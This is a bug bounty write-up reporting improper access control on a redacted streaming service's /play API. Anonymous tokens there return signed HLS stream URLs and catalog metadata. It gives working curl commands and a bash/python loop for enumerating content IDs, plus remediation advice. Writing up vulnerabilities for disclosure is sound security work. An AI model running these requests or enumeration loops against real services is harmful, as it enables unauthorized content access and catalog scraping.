writeups
mediumSelfhosted Iranian Bug Bounty ProgramCWE-284 (Improper Access Control)

Unauthenticated Access to Media Stream URLs and Content Metadata via `/play` Endpoint

4 min read
  • Improper Access Control

Target: www.[REDACTED] — /api/v1.0/medias/{id}/play CVSS v3.1 Score: 6.5 (Medium) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N


Summary#

The endpoint GET /api/v1.0/medias/{id}/play returns full playback data — including signed HLS stream URLs for video content — to any caller holding an anonymous (guest) token. Anonymous tokens can be obtained in unlimited quantities without authentication or rate limiting via POST /api/v1.0/accounts/login/by-anonymous.

Any unauthenticated user can:

  1. Obtain an anonymous token (no credentials required).
  2. Enumerate content IDs (sequential integers in the ~100,000–272,000 range).
  3. Request playback info for any content item — receiving signed HLS stream URLs for free/public content.
  4. Access full content metadata (title, description, categories, billing flags) for all content including paid/subscriber-only titles.

The endpoint also leaks operational information: user ISP name (internetProvider), VPN detection result (vpnDetected), and a new user GUID (userGuid) on every call.


Impact#

  • Unauthorized stream access: For content with contentPlayAccessType: "Free" or loginRequired: false, full signed HLS stream URLs are returned to unauthenticated users, allowing them to stream content without registering or paying. The stream was confirmed as playable (HLS manifest verified).
  • Content catalog enumeration: All content metadata (titles, descriptions, categories, subscription tiers) is enumerable without authentication, providing competitive intelligence and a full catalog scrape attack surface.
  • Billing model bypass: The hasBillingAccess: true flag appeared in the anonymous session response, suggesting potential ACL misconfiguration for paid content (requires further verification with a registered paid account).
  • Information leakage: Every response exposes the caller's ISP name, VPN detection status, and a fresh UUID-format user GUID — a fingerprinting vector.

Evidence#

Step 1: Obtain anonymous token#

bash
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{}' \
  "https://www.[REDACTED]/api/v1.0/accounts/login/by-anonymous"

Response:

json
{
  "succeeded": true,
  "result": {
    "anonymousToken": "[REDACTED]",
    "isLogin": false
  },
  "error": null
}

Response headers also include:

code
x-user-guid: [REDACTED]
x-user-type: 1

Step 2: Access playback data unauthenticated#

bash
TOKEN="[REDACTED]"

curl -s \
  -H "Accept: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  "https://www.[REDACTED]/api/v1.0/medias/271952/play"

Response (truncated):

json
{
  "succeeded": true,
  "result": {
    "media": {
      "id": 271952,
      "caption": "[REDACTED title]",
      "type": "Live"
    },
    "userGuid": "[REDACTED]",
    "isRegistered": false,
    "loginRequired": false,
    "hasBillingAccess": true,
    "aclPlayable": true,
    "contentPlayAccessType": "Free",
    "vpnDetected": false,
    "internetProvider": "[REDACTED]",
    "domain": "https://[REDACTED-live-host]/live/c/6/hls/stream.m3u8",
    "absolutePath": "https://[REDACTED-live-host]/live/c/6/hls/stream.m3u8?x=[REDACTED]",
    "relativePath": "/live/c/6/hls/stream.m3u8?x=[REDACTED]"
  }
}

Step 3: Verify HLS stream is playable#

bash
curl -s "https://[REDACTED-live-host]/live/c/6/hls/stream.m3u8?x=[REDACTED]"

Response:

code
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1008000,RESOLUTION=480x270,...
stream_480/index.m3u8?x=[REDACTED]
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1344000,RESOLUTION=640x360,...
stream_640/index.m3u8?x=[REDACTED]
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=7200000,RESOLUTION=1920x1080,...
stream_1920/index.m3u8?x=[REDACTED]

Live 1080p HLS stream confirmed accessible without authentication.

Step 4: Content catalog enumeration#

bash
for id in 100000 230000 240000 260000 271952; do
  curl -s -H "Authorization: Bearer $TOKEN" \
    "https://www.[REDACTED]/api/v1.0/medias/$id/play" \
    | python3 -c "
import sys,json
d=json.load(sys.stdin)
r=d.get('result',{})
m=r.get('media',{})
print(m.get('id'), m.get('caption'), r.get('loginRequired'), r.get('contentPlayAccessType'))
"
done

Output:

code
100000  [REDACTED title]  True  None
230000  [REDACTED title]  True  None
240000  [REDACTED title]  True  None
260000  [REDACTED title]  True  None
271952  [REDACTED title]  False  Free

Titles, types, and login requirements for all content accessible without credentials.


Steps to Reproduce#

  1. POST https://www.[REDACTED]/api/v1.0/accounts/login/by-anonymous with empty JSON body {} → receive anonymousToken.
  2. GET https://www.[REDACTED]/api/v1.0/medias/{id}/play with Authorization: Bearer <anonymousToken>.
  3. Iterate over content IDs in the ~100,000–272,000 range.
  4. For any content with aclPlayable: true and absolutePath set, retrieve and play the HLS stream directly via the returned URL.

Tools Used#

  • curl (v8.11.1)
  • python3 (JSON parsing)

Activities Log#

Time (UTC)Activity
2026-05-23 12:58Called POST /api/v1.0/accounts/login/by-anonymous → received anonymous token
2026-05-23 13:01Called GET /api/v1.0/medias/live/playing → discovered media ID 271952
2026-05-23 13:01Called GET /api/v1.0/medias/271952/play with anonymous Bearer → received full HLS URL
2026-05-23 13:02Verified HLS stream manifest from [REDACTED-live-host] — confirmed playable
2026-05-23 13:03Probed IDs 100000, 230000, 240000, 260000 — confirmed metadata accessible for all

Content was not actually streamed/downloaded beyond verifying the HLS manifest structure.


  1. Require a valid authenticated session (non-anonymous) for /api/v1.0/medias/{id}/play on any content where loginRequired: true.
  2. Do not include signed stream absolutePath URLs in responses to anonymous tokens, regardless of contentPlayAccessType.
  3. Strip hasBillingAccess, vpnDetected, internetProvider, and userGuid from responses to unauthenticated callers.
  4. Implement content ID enumeration protection (non-sequential IDs or per-IP rate limiting on the /play endpoint).